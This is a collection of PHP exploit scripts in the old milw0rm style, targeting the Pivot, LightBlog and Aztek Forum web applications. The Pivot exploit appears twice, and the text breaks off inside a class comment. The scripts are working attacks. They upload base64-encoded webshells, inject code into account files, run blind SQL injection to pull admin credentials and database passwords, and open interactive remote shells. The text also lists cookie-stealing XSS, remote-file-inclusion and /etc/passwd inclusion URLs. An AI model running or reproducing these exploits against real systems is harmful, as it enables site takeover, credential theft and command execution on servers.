through the includes/editor/insert_image.php script

ii)
arbitrary remote inclusion (on php5) with register_globals=On
http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=ftp://username:password@somehost.com/

where on somehost.com we have a
hooks/pre_editor_normal.php with some shellcode inside

and local inclusion with register_globals=On & magic_quotes_gpc=Off
http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=/etc/passwd%00

iii) various xss with register_globals=On:

http://[target]/[path]/pivot/includes/blogroll.php?fg=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?line1=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?line2=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?bg=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c1=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c2=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c3=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c4=[XSS]
http://[target]/[path]/pivot/includes/editor/edit_menu.php?name=[XSS]
http://[target]/[path]/pivot/includes/editor/edit_menu.php?js_name=[XSS]

iv) regardless of magic_quotes_gpc, xss:
http://[target]/[path]/pivot/includes/photo.php?h=><script>alert(document.cookie)</script>
http://[target]/[path]/pivot/includes/photo.php?w=><script>alert(document.cookie)</script>

this is the poc exploit tool for i)
									      */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$magic_var="suntzu"; //no matter how you call him
$shell="error_reporting(0);if(get_magic_quotes_gpc()){\$_COOKIE[\"cmd\"]=stripslashes(\$_COOKIE[\"cmd\"]);}set_time_limit(0);echo \"my_delim\";passthru(\$_COOKIE[\"cmd\"]);echo \"my_delim\";";
$shell=base64_encode($shell);
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="userfile"; filename="cfg.php";
Content-Type: text/plain

<?php;eval(base64_decode("'.$shell.'"));?>
-----------------------------7d62702f250530--
';
$packet="POST ".$p."pivot/includes/editor/insert_image.php?session=".$magic_var."&func=login&pass=".$magic_var."&user=".$magic_var."&Users[".$magic_var."][pass]=".md5($magic_var)."&Users[".$magic_var."][userlevel]=1 HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: hash=; mode=stayloggedin; user=;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
//shell.php is renamed to shell.php.php
$packet="GET ".$p."images/cfg.php.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
 {
  $temp=explode("my_delim",$html);
  die("exploit succeeded...\n\n".$temp[1]);
 }
//if you are here...
echo "exploit failed...";
?>

# milw0rm.com [2006-07-07]


rgod/pivot130rc2.php.txt ( na)

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Pivot <= 1.30 RC2 privileges escalation / remote commands execution exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dorks: \"Powered byPivot\"\n";
echo "version specific: \"Powered byPivot - 1.30 RC2\" +Rippersnapper\n\n";
/*
works with register_globals=On
*/

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\n";
echo "host:       target server (ip/hostname)\n";
echo "path:       path to the blog\n";
echo "cmd:        a shell command\n";
echo "Options:\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Examples:\n";
echo "php ".$argv[0]." localhost /blog/ ls -la -p81\n";
echo "php ".$argv[0]." localhost /blog/ ls -la -P1.1.1.1:80\n\n";
die;
}

/* software site: http://www.pivotlog.net/

  i) vulnerable code in pv_core.php at line 23-24 and in CheckLogin() function:

  ...
  // some global initialisation stuff
  $Pivot_Vars = array_merge($_GET , $_POST, $_SERVER);

  ...
   function CheckLogin() {
  global $Users, $Pivot_Vars, $Cfg;
  // User is banned..
  if(isset($Cfg['bn_' . $_SERVER['REMOTE_ADDR']])){
    Login(1, 1, "User is banned");
  }

  // added to not check for referers if no session id is given..
  if(!isset($Pivot_Vars['session'])){                                                    <-------------[!]
    $uri = 'http://' . $Pivot_Vars['HTTP_HOST'] . $Pivot_Vars['SCRIPT_NAME'];
    if(strpos($Pivot_Vars['HTTP_REFERER'], $uri)!=0){
      $Pivot_Vars['user'] = '';
      Login(0, 2, "No session active.");
    }
  }

  // If we selected logout from the menu..
  if( isset($Pivot_Vars['func']) &amp;&amp; ($Pivot_Vars['func'] == 'login') &amp;&amp; isset($Pivot_Vars['do']) &amp;&amp; ($Pivot_Vars['do'] == 'logout')){

    setcookie('user', '', -9999,"/");
    setcookie('pass', '', -9999,"/");
    setcookie('mode', 'nothing', -9999,"/");
    unset($Users[$Cfg['tempsessions'][$Pivot_Vars['session']][0]]['session']);
    unset($Cfg['tempsessions'][$Pivot_Vars['session']]);

    SaveSettings();
    login(0,3, "User logged off");
  }

  // if the user has cookies set, but no session is active yet..
  if( isset($_COOKIE['user']) &amp;&amp; isset($_COOKIE['hash']) &amp;&amp; ($_COOKIE['mode'] == 'stayloggedin') &amp;&amp;        <----------- [!!!]
    ( (!isset($Pivot_Vars['session'])) || ($Pivot_Vars['session'] == "")) ) {

    debug("attempted ReviveSession..");
    // Try to revive an old Session..
    ReviveSession();

  } else if(($Pivot_Vars['func'] == 'login') || ($Pivot_Vars['do'] == 'login')) {

    // if we've just logged in, reset the cookies, if necesary and start a new session..

    debug("attempted login..");
    if ( ($Users[$Pivot_Vars['user']]['pass'] == md5($Pivot_Vars['pass']))                           <-------------- [!!!!]
        &amp;&amp; ($Users[$Pivot_Vars['user']]['userlevel']>0) ) {

      NewSession($Pivot_Vars['user']);

    }else{

      // add one to the failed login attempts.
      if(strlen($Pivot_Vars['user']) > 0) {
        $Cfg['fl_' . $_SERVER['REMOTE_ADDR']]++;
      }

      Login(1,4, "Incorrect username or password");

    }

  } else {
    // when running normally, the session stuff is updated.

    $Pivot_Vars['user'] = $Cfg['tempsessions'][$Pivot_Vars['session']][0];

    $ip = substr( $_SERVER['REMOTE_ADDR'], 0, strrpos( $_SERVER['REMOTE_ADDR'], "."));

    // calculated locally: user's pass + current session + ip we got from user
    $hash1 = md5( md5( $Users[$Pivot_Vars['user']]['pass'] . $Pivot_Vars['session'] ) . $ip ) ;

    // stored hash
    $hash2 = $Cfg['tempsessions'][$Pivot_Vars['session']][1];

    // we check if the two hash matches with the one that was stored
    if ($hash1 != $hash2) {

      // if this is the case, something's not ok, so go back to login..
      Login(0,0, "No hacking, please");

    }
  }

  // If by this point no session is set, we will show the login screen..
  if(strlen($Pivot_Vars['session']) == 0) {
    Login(0,8, "Please log on. (if you keep getting this message, delete the cookies for this site)");
  }

  // Update the timer, so we can keep the user logged in.
  if($Cfg['tempsessions'][$Pivot_Vars['session']][2] - time() <= ($Cfg['session_length'] / 4)) {
    $Cfg['tempsessions'][$Pivot_Vars['session']][2] = $Cfg['tempsessions'][$Pivot_Vars['session']][2] + $Cfg['session_length'];

  }
}
...

a remote user can overwrite $Pivot_Vars array and, if register_globals=on,
$Users one, to escalate privileges, then he can upload php files in images/ folder
through the includes/editor/insert_image.php script

ii)
arbitrary remote inclusion (on php5) with register_globals=On
http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=ftp://username:password@somehost.com/

where on somehost.com we have a
hooks/pre_editor_normal.php with some shellcode inside

and local inclusion with register_globals=On &amp; magic_quotes_gpc=Off
http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=/etc/passwd%00

iii) various xss with register_globals=On:

http://[target]/[path]/pivot/includes/blogroll.php?fg=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?line1=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?line2=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?bg=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c1=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c2=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c3=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c4=[XSS]
http://[target]/[path]/pivot/includes/editor/edit_menu.php?name=[XSS]
http://[target]/[path]/pivot/includes/editor/edit_menu.php?js_name=[XSS]

iv) regardless of magic_quotes_gpc, xss:
http://[target]/[path]/pivot/includes/photo.php?h=><script>alert(document.cookie)</script>
http://[target]/[path]/pivot/includes/photo.php?w=><script>alert(document.cookie)</script>

this is the poc exploit tool for i)
                        */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
  $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
  }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$magic_var="suntzu"; //no matter how you call him
$shell="error_reporting(0);if(get_magic_quotes_gpc()){\$_COOKIE[\"cmd\"]=stripslashes(\$_COOKIE[\"cmd\"]);}set_time_limit(0);echo \"my_delim\";passthru(\$_COOKIE[\"cmd\"]);echo \"my_delim\";";
$shell=base64_encode($shell);
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="userfile"; filename="cfg.php";
Content-Type: text/plain

<?php;eval(base64_decode("'.$shell.'"));?>
-----------------------------7d62702f250530--
';
$packet="POST ".$p."pivot/includes/editor/insert_image.php?session=".$magic_var."&amp;func=login&amp;pass=".$magic_var."&amp;user=".$magic_var."&amp;Users[".$magic_var."][pass]=".md5($magic_var)."&amp;Users[".$magic_var."][userlevel]=1 HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: hash=; mode=stayloggedin; user=;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
//shell.php is renamed to shell.php.php
$packet="GET ".$p."images/cfg.php.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
 {
  $temp=explode("my_delim",$html);
  die("exploit succeeded...\n\n".$temp[1]);
 }
//if you are here...
echo "exploit failed...";
?>

original url: http://retrogod.altervista.org/pivot_130RC2_xpl.html


Pivot versions 1.30 RC2 and below privilege escalation and remote command execution exploit.

EgiX/LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit ( php)

<?

/*
	---------------------------------------------------------------
	LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit
	---------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.publicwarehouse.co.uk/
	demo.....: http://www.bailey-projects.com/projects/1/lightblog/

	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.

	[-] vulnerable code in /register.php

	58.	    $username_towrite = stripslashes(htmlspecialchars($_POST['username_post'], ENT_QUOTES));
	59.	    $password_towrite = stripslashes(md5(htmlspecialchars($_POST['pwd1_post'], ENT_QUOTES)));
	60.	    $name_towrite = stripslashes(htmlspecialchars($_POST['name_post'], ENT_QUOTES));
	61.	    $email_towrite = stripslashes(htmlspecialchars($_POST['email_post'], ENT_QUOTES));
	62.	
	63.	    $newaccountfile = "./accounts/{$username_towrite}.php";
	64.	                         
	65.	    $details = "<?php
	66.	                \$password = \"{$password_towrite}\";
	67.	                \$name = \"{$name_towrite}\";
	68.	                \$email = \"{$email_towrite}\";
	69.	                \$type = \"member\";
	70.	                \$location = \"\";
	71.	                \$aboutme = \"\";
	72.	                \$website = \"\";
	73.	                ?>";
	74.	
	75.	    $fd = fopen ($newaccountfile, "w");
	76.	    chmod($newaccountfile, 0777);
	77.	    fwrite ($fd, $details);
	78.	    fclose($fd);

	An attacker could be able to inject and execute arbitrary PHP code due to new accounts are saved
	with "php" extension. This is possible because input is not properly sanitised, so you can use
	"complex curly syntax", which allows to put complex expressions into string definitions.

	[-] vulnerable code in /check_user.php

	6.	if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){
	7.	
	8.	    $username_cookie = $_COOKIE['Lightblog_username'];
	9.	    $password_cookie = $_COOKIE['Lightblog_password'];
	10.	
	11.	    if(file_exists("./accounts/{$username_cookie}.php")){
	12.	
	13.	        include("./accounts/{$username_cookie}.php");
	14.	
	15.	        if($password_cookie != $password){
	16.	            
	17.	            setcookie("Lightblog_password", "", time()-9999999);
	18.	            setcookie("Lightblog_username", "", time()-9999999);
	19.	            echo "<script>location.replace('login.php')</script>";
	20.	            exit; 
	21.	
	22.	        } else { 
	23.	            $username = $username_cookie;
	24.	            $user = true; 
	25.	        }

	In addition to the LFI (line 13), an attacker could be able to bypass the authentication by
	setting special crafted cookies. So anyone can access to cp_*.php and is able to to upload
	arbitrary file or put malicious php code into e.g. settings.php. Arbitrary file upload poc:

	POST /lightblog/cp_preview.php HTTP/1.0
	Host: localhost
	Cookie: Lightblog_password=; Lightblog_username=../header
	Content-Length: 166
	Content-Type: multipart/form-data; boundary=o0oOo0o
	Connection: close

	--o0oOo0o
	Content-Disposition: form-data; name="image"; filename="poc.php"

	<?php evil_code(); ?>
	--o0oOo0o--


	[-] Disclosure timeline:
		
	[21/04/2009] - Bug discovered
	[22/04/2009] - Vendor contacted but no response
	[25/04/2009] - Vendor contacted again still no response
	[26/04/2009] - Vendor has deleted any reference to LighBlog on his site (???)
	[27/04/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
	  die("\nsocket_create(): " . socket_strerror($s) . "\n");

	if (socket_connect($s, $host, 80) == false)
	  die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

	socket_write($s, $packet, strlen($packet));
	while ($m = socket_read($s, 2048)) $response .= $m;

	socket_close($s);
	return $response;
}

print "\n+-------------------------------------------------------------------------+";
print "\n| LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /lightblog/\n\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$code = rawurlencode('{${error_reporting(0)}}{${print(_code_)}}{${passthru(base64_decode($_SERVER[HTTP_CMD]))}}{${die}}');

$payload = "username_post=test&pwd1_post=test&pwd2_post=test&name_post=test&email_post={$code}";
$packet  = "POST {$path}register.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

http_send($host, $packet);

$packet  = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: Lightblog_password=; Lightblog_username=test\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nlightblog-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n");
}

?>

# milw0rm.com [2009-04-27]


DarkFig/Aztek Forum 4.0 Multiple Vulnerabilities Exploit ( php)

#!/usr/bin/php
<?php

error_reporting(E_ALL ^ E_NOTICE);

/*
 header>  Aztek Forum 4.1 Multiple Vulnerabilities Exploit
 header> ==================================================
 sploit> Owner -> root
 status> Trying to register a new user
 sploit> Login/Password -> phpsploit8435
 status> Trying to get database informations
 sploit> Full Path Disclosure -> /home/www/aztekforum/forum/load.php
 sploit> Done (./avatar/phpsploit8435.jpg)
 sploit> $dbhost -> localhost
 sploit> $usebdd -> aztek
 sploit> $user -> root
 sploit> $password -> toor
 sploit> $salt -> atk
 status> Trying to get the administrator login/passwd
 sploit> Username length 7
 sploit> Username -> darkfig
 sploit> Password length 13
 sploit> Password -> atovlv6iH1rUo
 sploit> Salt -> atk (Standard DES hash)
 sploit> Enter the decrypted password to continue: hello
 status> Uploading a malicious picture
 status> Trying to get logged in
 sploit> Done
 status> Creating a hidden forum
 sploit> Done
 status> Trying to include the picture
 $shell> whoami
 DarkFig

 $shell> exit
*/
if($argc < 2)
{
	print "\n---------------------------------------------------------";
	print "\nAffected.scr..: Aztek Forum V4.1";
	print "\nPoc.ID........: 21070125";
	print "\nType..........: Multiple vulnerability";
	print "\nConditions....: None =)";
	print "\nRisk.level....: High";
	print "\nSrc.download..: www.forum-aztek.com";
	print "\nPoc.link......: acid-root.new.fr/poc/21070125.txt";
	print "\nCredits.......: DarkFig";
	print "\n---------------------------------------------------------";
	print "\nUsage.........: php xpl.php <url> <proxyoptions>";
	print "\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
	print "\nExample.......: php xpl.php http://victim.com/";
	print "\n---------------------------------------------------------";
	exit(1);
}

/*

 ---[ CODE ./common/config.php
 -----------------------------
 @extract($_POST);	// Variables en POST
 @extract($_GET);	// Variables en GET
 @extract($_COOKIE);	// Variable des cookies
 @extract($_SERVER);	// Variable Server
 -----------------------------
 |
 +-> All variables initialized before the inclusion can be overwritten.

 
 ---[ CODE ./common/safety.php
 -----------------------------
 $BANNED_STRING[] = "%22";
 $BANNED_STRING[] = "%23";
 $BANNED_STRING[] = "%47";
 ...
 foreach($_GET as $key=>$value) ...
 $_POST[$key] = str_replace($BANNED_STRING[$i], "", $_POST[$key]);
 $$key = $_POST[$key];
 ...
 foreach($_POST as $key=>$value) ...
 $_GET[$key] = str_replace($BANNED_STRING[$i], "", $_GET[$key]);
 $$key = $_GET[$key];
 -----------------------------
 |
 +-> Filter can be bypassed with extract($_COOKIE)
 
 
 ---[ CODE ./forum/load.php
 --------------------------
 if(!empty($fid)) $FORUM=$fid;
 ...
 $sql=dbquery("SELECT * FROM atk_forums WHERE id=$FORUM",33,29);
 $PF=mysql_fetch_array($sql);
 --------------------------
 |
 +-> Blind SQL Injection without quote

  
 ---[ CODE ./index/main.php
 --------------------------
 if($PF["top_url"]) @include($PF["top_url"]);
 --------------------------
 |
 +-> Remote File Inclusion (admin rights needed in order to insert "top_url" in "atk_forums")
 
 
 ---[ CODE ./index/common_actions.php
 ------------------------------------
 $file = $_FILES['upload']['tmp_name']; ...
 if(@copy($file,$path_file)) $avatar=$path_file;
 ------------------------------------
 |
 +-> $_FILES can be overwritten (with extract()), this can lead to file disclosure =).
 
 */
$url=$argv[1];$prs=$argv[2];
$pra=$argv[3];

$xpl = new phpsploit();
if(!empty($prs)) $xpl->proxy($prs);
if(!empty($pra)) $xpl->proxyauth($pra);

print "\nheader>  Aztek Forum 4.1 Multiple Vulnerabilities Exploit";
print "\nheader> ==================================================";

if(preg_match("#href='\./index\.php\?owner=(\S*)'#i",$xpl->getcontent($xpl->get($url.'forum.php?fid=-1%20or%201=1')),$matches)) print "\nsploit> Owner -> ".$matches[1];
else die("\nsploit> Exploit failed");
$owner = $matches[1];

print "\nstatus> Trying to register a new user";
$xpl->cookiejar(1);
$xpl->allowredirection(1);
$name = "phpsploit".rand();
$xpl->post($url."index.php?owner=$owner&action=subscribe","login=$name&passwd=$name&passwd2=$name&email=$name%40hotmail.coum&show_email=on&cookie=on");
print "\nsploit> Login/Password -> $name";

print "\nstatus> Trying to get database informations";
$xpl->get($url."forum.php?fid=XD");
if(preg_match("#file (.*) in function#i",$xpl->getcontent(),$matches)) print "\nsploit> Full Path Disclosure -> ".$matches[1];
else print("\nsploit> Failed");
$wanted = str_replace("forum/load.php","common/bddconf.php",$matches[1]);

if(!empty($wanted)){
$xpl->get($url."index.php?owner=$owner&action=profile&_SERVER[email]=$name%40hotmail.coum&_FILES[upload][tmp_name]=$wanted&_FILES[upload][name]=0123456789&_FILES[upload][type]=jpg");
$xpl->get($url."index.php?owner=$owner&choix=3");
if(preg_match("#<IMG src='(.*)' width='([0-9]*)' height='([0-9]*)'>#i",$xpl->getcontent(),$matches)) print "\nsploit> Done (".$matches[1].")";
else print("\nsploit> Failed");
$avatarur = $matches[1];
if(!empty($matches[1])){
$xpl->get($url.str_replace("./","/",$matches[1]));
preg_match_all("#(.*)='(.*)';#",$xpl->getcontent(),$vars);
for($z=0;$z<=4;$z++){
print "\nsploit> ".strtolower($vars[1][$z])." -> ".$vars[2][$z];
}}}

print "\nstatus> Trying to get the administrator login/passwd";
$headers = array("Username","Password");
$fields  = array("login","passwd");
$value=$length=array();

for($a=0;$a<2;$a++){

print "\nsploit> ".$headers[$a]." length ";
for($b=1;$b<3;$b++){
for($c=48;$c<=57;$c++){
$xpl->addcookie("fid","-1%20OR%20SUBSTR(LENGTH((SELECT%20".$fields[$a]."%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201)),$b,1)=CHAR($c)");
if(!preg_match("#<TITLE></TITLE>#i",$xpl->getcontent($xpl->get($url."forum.php")))) {
   $length[$a] .= chr($c);
   print chr($c);
   break;
}}}

print "\nsploit> ".$headers[$a]." -> ";
for($d=1;$d<=$length[$a];$d++){
for($e=0;$e<=128;$e++){
$xpl->addcookie("fid","-1%20OR%20HEX(SUBSTR((SELECT%20".$fields[$a]."%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201),$d,1))=HEX(CHAR($e))");
if(!preg_match("#<TITLE></TITLE>#i",$xpl->getcontent($xpl->get($url."forum.php")))) {
   $value[$a] .= chr($e);
   print chr($e);
   break;
}}}}

$salt = !empty($vars[2][4]) ? $vars[2][4] : 'atk'; # Always the same salt ...
print "\nsploit> Salt -> $salt (Standard DES hash)";
print "\nsploit> Enter the decrypted password to continue: ";
$password = trim(fgets(STDIN));
$xpl->addcookie("fid","-1 or 1=1");
$xpl->cookiejar(1);

print "status> Uploading a malicious picture";
$formdata = array(frmdt_url => $url."?owner=$owner&action=profile",
                  "email"   => "$name@hotmail.coum",
                  "url"     => "http://",
                  "upload"  => array(frmdt_type     => "image/jpg",
                                     frmdt_filename => "hello.jpg",
                                     frmdt_content  => "<?php print 337666733;@extract(\$_SERVER);@system(\$HTTP_REFERER);print 337666733;exit(0); ?>"),
                  "avatar"  => "./avatar/welcome.jpg");
$xpl->formdata($formdata);

print "\nstatus> Trying to get logged in";
$xpl->post($url.'myadmin.php?action=login','login='.$value[0].'&passwd='.$password);
if(preg_match("#ATK_ADMIN#i",$xpl->showcookie())) print "\nsploit> Done";
else die("\nsploit> Exploit failed");

print "\nstatus> Creating a hidden forum";
$xpl->get($url.'myadmin.php?choix=2');
if(!preg_match("#<option value='(\S+)'#",$xpl->getcontent(),$styles)) $styles[1] = "xml_BlueLight";
$xpl->post($url.'myadmin.php?action=create',"title=$name&filename=$name&passwd=&style=".$styles[1]."&structure=1&subject=");
$xpl->get($url.'myadmin.php?choix=1');
if(!preg_match_all("#action=hide_forum&id=([0-9]+)#",$xpl->getcontent(),$fid)) die("\nsploit> Can't retrieve the forum id");
$forumid = $fid[1][(count($fid[1])-1)];
$xpl->get($url."myadmin.php?choix=1&action=hide_forum&id=$forumid");

print "\nsploit> Done\nstatus> Trying to include the picture\n\$shell> ";
if(empty($avatarur)) $avatarur="./avatar/$name.jpg"; 
$xpl->post($url."myadmin.php?action=rec_perso&id=$forumid&choix=3","PARAM%5Btop_url%5D=$avatarur");
$xpl->reset();

while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
    $xpl->addheader("Referer",$cmd);
    $xpl->get($url.$name.'.php');
    $data = explode("337666733",$xpl->getcontent());
    print $data[1]."\n\$shell> ";
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 5 (remove "private", "public" if you have PHP 4)
 * VERSION:        1.2
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
